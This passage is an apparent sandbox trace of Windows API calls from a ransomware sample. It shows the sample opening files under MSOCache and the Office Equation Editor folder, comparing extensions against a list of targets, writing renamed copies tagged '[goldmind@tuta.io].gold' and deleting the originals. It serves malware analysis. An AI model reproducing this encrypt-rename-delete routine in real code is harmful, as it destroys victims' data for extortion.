lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.417] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0046.417] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0046.417] ReadFile (in: hFile=0x170, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.423] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0046.423] ReadFile (in: hFile=0x170, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.427] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.427] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0046.427] ReadFile (in: hFile=0x170, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.443] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.443] WriteFile (in: hFile=0x170, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0046.597] SetEndOfFile (hFile=0x170) returned 1 [0046.597] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fa40b0 [0046.647] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0046.647] WriteFile (in: hFile=0x170, lpBuffer=0x3fa40b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa40b0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.647] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0046.647] WriteFile (in: hFile=0x170, lpBuffer=0x3fa40b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa40b0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.649] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0046.649] WriteFile (in: hFile=0x170, lpBuffer=0x3fa40b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa40b0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.650] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fa40b0 | out: hHeap=0x880000) returned 1 [0046.651] CloseHandle (hObject=0x170) returned 1 [0046.651] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0046.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.651] lstrlenW (lpString=".doc") returned 4 [0046.651] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.651] lstrlenW (lpString=".docx") returned 5 [0046.651] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0046.651] lstrlenW (lpString=".pdf") returned 4 [0046.651] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.651] lstrlenW (lpString=".xls") returned 4 [0046.651] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.651] lstrlenW (lpString=".xlsx") returned 5 [0046.651] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0046.651] lstrlenW (lpString=".ppt") returned 4 [0046.651] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.651] lstrlenW (lpString=".zip") returned 4 [0046.651] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.651] lstrlenW (lpString=".rar") returned 4 [0046.651] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.651] lstrlenW (lpString=".bz2") returned 4 [0046.651] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.651] lstrlenW (lpString=".7z") returned 3 [0046.651] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.651] lstrlenW (lpString=".dbf") returned 4 [0046.651] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.651] lstrlenW (lpString=".1cd") returned 4 [0046.651] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.651] lstrlenW (lpString=".jpg") returned 4 [0046.651] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.652] lstrlenW (lpString=".doc") returned 4 [0046.652] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.652] lstrlenW (lpString=".docx") returned 5 [0046.652] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0046.652] lstrlenW (lpString=".pdf") returned 4 [0046.652] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.652] lstrlenW (lpString=".xls") returned 4 [0046.652] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.652] lstrlenW (lpString=".xlsx") returned 5 [0046.652] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0046.652] lstrlenW (lpString=".ppt") returned 4 [0046.652] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.652] lstrlenW (lpString=".zip") returned 4 [0046.652] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.652] lstrlenW (lpString=".rar") returned 4 [0046.652] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.652] lstrlenW (lpString=".bz2") returned 4 [0046.652] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.652] lstrlenW (lpString=".7z") returned 3 [0046.652] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.652] lstrlenW (lpString=".dbf") returned 4 [0046.652] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.652] lstrlenW (lpString=".1cd") returned 4 [0046.652] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0046.652] lstrlenW (lpString=".jpg") returned 4 [0046.652] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.652] lstrcmpiW (lpString1=".CNT", lpString2=".gold") returned -1 [0046.652] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0046.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.661] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2557) returned 1 [0046.661] CloseHandle (hObject=0x204) returned 1 [0046.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0046.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.661] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.661] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0046.662] GetLastError () returned 0x0 [0046.662] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x9fd, lpOverlapped=0x0) returned 1 [0046.665] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xa00, lpOverlapped=0x0) returned 1 [0046.666] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0046.666] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.666] SetEndOfFile (hFile=0x190) returned 1 [0046.666] CloseHandle (hObject=0x190) returned 1 [0046.666] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.666] SetEndOfFile (hFile=0x204) returned 1 [0046.667] CloseHandle (hObject=0x204) returned 1 [0046.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.667] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0046.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.667] lstrlenW (lpString=".doc") returned 4 [0046.667] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0046.667] lstrlenW (lpString=".docx") returned 5 [0046.667] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0046.667] lstrlenW (lpString=".pdf") returned 4 [0046.667] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0046.667] lstrlenW (lpString=".xls") returned 4 [0046.667] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0046.667] lstrlenW (lpString=".xlsx") returned 5 [0046.667] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0046.667] lstrlenW (lpString=".ppt") returned 4 [0046.668] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".zip") returned 4 [0046.668] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString=".rar") returned 4 [0046.668] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString=".bz2") returned 4 [0046.668] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0046.668] lstrlenW (lpString=".7z") returned 3 [0046.668] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".dbf") returned 4 [0046.668] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".1cd") returned 4 [0046.668] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".jpg") returned 4 [0046.668] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".doc") returned 4 [0046.668] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString=".docx") returned 5 [0046.668] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0046.668] lstrlenW (lpString=".pdf") returned 4 [0046.668] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString=".xls") returned 4 [0046.668] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString=".xlsx") returned 5 [0046.668] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0046.668] lstrlenW (lpString=".ppt") returned 4 [0046.668] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".zip") returned 4 [0046.668] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString=".rar") returned 4 [0046.668] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString=".bz2") returned 4 [0046.668] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0046.668] lstrlenW (lpString=".7z") returned 3 [0046.668] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".dbf") returned 4 [0046.668] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".1cd") returned 4 [0046.668] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0046.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0046.668] lstrlenW (lpString=".jpg") returned 4 [0046.668] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0046.669] lstrcmpiW (lpString1=".manifest", lpString2=".gold") returned 1 [0046.669] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0046.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.669] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=566) returned 1 [0046.669] CloseHandle (hObject=0x204) returned 1 [0046.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0046.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.670] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.670] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0046.672] GetLastError () returned 0x0 [0046.672] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x236, lpOverlapped=0x0) returned 1 [0046.672] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x240, lpOverlapped=0x0) returned 1 [0046.673] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0046.673] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xfe, lpOverlapped=0x0) returned 1 [0046.673] SetEndOfFile (hFile=0x190) returned 1 [0046.673] CloseHandle (hObject=0x190) returned 1 [0046.673] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.673] SetEndOfFile (hFile=0x204) returned 1 [0046.674] CloseHandle (hObject=0x204) returned 1 [0046.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.674] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0046.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.674] lstrlenW (lpString=".doc") returned 4 [0046.674] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0046.674] lstrlenW (lpString=".docx") returned 5 [0046.674] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0046.674] lstrlenW (lpString=".pdf") returned 4 [0046.674] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0046.674] lstrlenW (lpString=".xls") returned 4 [0046.674] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".xlsx") returned 5 [0046.675] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0046.675] lstrlenW (lpString=".ppt") returned 4 [0046.675] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".zip") returned 4 [0046.675] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".rar") returned 4 [0046.675] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".bz2") returned 4 [0046.675] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".7z") returned 3 [0046.675] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".dbf") returned 4 [0046.675] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".1cd") returned 4 [0046.675] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".jpg") returned 4 [0046.675] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".doc") returned 4 [0046.675] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".docx") returned 5 [0046.675] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0046.675] lstrlenW (lpString=".pdf") returned 4 [0046.675] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".xls") returned 4 [0046.675] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".xlsx") returned 5 [0046.675] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0046.675] lstrlenW (lpString=".ppt") returned 4 [0046.675] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".zip") returned 4 [0046.675] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".rar") returned 4 [0046.675] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".bz2") returned 4 [0046.675] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString=".7z") returned 3 [0046.675] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".dbf") returned 4 [0046.675] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".1cd") returned 4 [0046.675] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0046.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0046.675] lstrlenW (lpString=".jpg") returned 4 [0046.675] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0046.676] lstrcmpiW (lpString1=".HLP", lpString2=".gold") returned 1 [0046.676] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0046.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.676] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=176311) returned 1 [0046.676] CloseHandle (hObject=0x204) returned 1 [0046.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 